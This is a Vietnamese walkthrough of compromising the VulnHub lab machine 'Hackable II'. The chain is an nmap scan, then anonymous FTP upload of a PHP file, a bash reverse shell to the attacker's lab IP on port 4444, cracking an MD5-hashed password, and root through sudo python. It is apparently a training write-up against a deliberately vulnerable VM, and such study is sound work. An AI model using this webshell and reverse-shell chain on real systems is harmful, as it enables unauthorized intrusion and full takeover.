Môi trường thực thi
Thiết bị tấn công: IP: 192.168.216.129 (Kali) Máy mục tiêu: IP: 192.168.216.131 Địa chỉ tải máy mục tiêu: https://www.vulnhub.com/entry/hackable-ii,711/
Thực hiện tấn công
Một、 Thu thập thông tin cổng
Máy ảo này khi nhập vào VMware cần cấu hình lại tên card mạng trong chế độ cứu hộ, có hướng dẫn đính kèm, không trình bày ở đây: https://blog.csdn.net/liver100day/article/details/119109320
Thực hiện quét cổng
nmap -O -sV -p- -A 192.168.216.131
Quét thư mục WEB
Mở CALL.html, không phát hiện gì đặc biệt
Thử sử dụng nmap quét dịch vụ FTP, xem có cho phép đăng nhập ẩn danh không
nmap --script ftp-anon 192.168.216.131
Kết quả quét cho thấy dịch vụ FTP của máy chủ cho phép đăng nhập ẩn danh, và người dùng ẩn danh có thể truy cập ít nhất một tệp (
CALL.html)
Đăng nhập dịch vụ FTP, tên người dùng là anonymous, mật khẩu không cần nhập (nhấn Enter)
Hai、 Tìm kiếm lỗ hổng WEB
Xem tệp, và tải xuống CALL.html
dir
get CALL.html
Sau khi tải xuống và xem mã nguồn của CALL.html không phát hiện thông tin hữu ích
Thử tải lên tệp, viết tệp test.php trong đường dẫn hiện tại của máy tấn công, nội dung như sau:
<?=phpinfo();?>
Tải lên máy mục tiêu qua FTP
put test.php
Tải lên thành công, và có thể thấy tệp trong /files/, truy cập tệp này, phát hiện có thể phân tích cú pháp thành công
Tiếp theo, ý tưởng khá rõ ràng, viết một tệp PHP, khi được kích hoạt sẽ khiến máy mục tiêu kết nối ngược lại máy tấn công của chúng ta để lấy shell.
Viết trojan.php, nội dung như sau:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
Tải lên
put trojan.php
Máy tấn công khởi động lắng nghe
nc -nlvp 4444
Truy cập trojan.php bằng trình duyệt, kích hoạt trojan để kết nối ngược
Thành công lấy được shell
Ba、 Nâng quyền
Tiếp theo vào thư mục /home, có thể thấy một người dùng shrek, ngoài ra còn có một tệp important.txt
Đọc important.txt
Gợi ý chúng ta chạy /.runme.sh
Chuỗi ký tự phía sau rõ ràng đã được mã hóa md5, chúng ta sử dụng trang web giải mã md5 trực tuyến để giải mã, nhận được mật khẩu: onion
Tạo shell tương tác, chuyển sang người dùng shrek
python3 -c 'import pty;pty.spawn("/bin/bash")'
su shrek
Theo cách tiếp cận thông thường, kiểm tra các tệp có quyền SUID
find / -perm -u=s -type f 2>/dev/null
Không phát hiện gì đặc biệt
Kiểm tra các lệnh đặc quyền mà người dùng shrek có thể thực thi
sudo -l
Viết một tệp py root.py, nội dung như sau:
echo 'import pty;pty.spawn("/bin/bash")' > root.py
Tệp này có chức năng mở một shell tương tác
Tiếp theo thực thi
sudo /usr/bin/python3.5 /home/shrek/root.py
Ở đây nên sử dụng đường dẫn tuyệt đối, đường dẫn tương đối đôi khi không thể thực thi thành công.
Như vậy, chúng ta đã đăng nhập shell với tư cách root, kết thúc quá trình thâm nhập.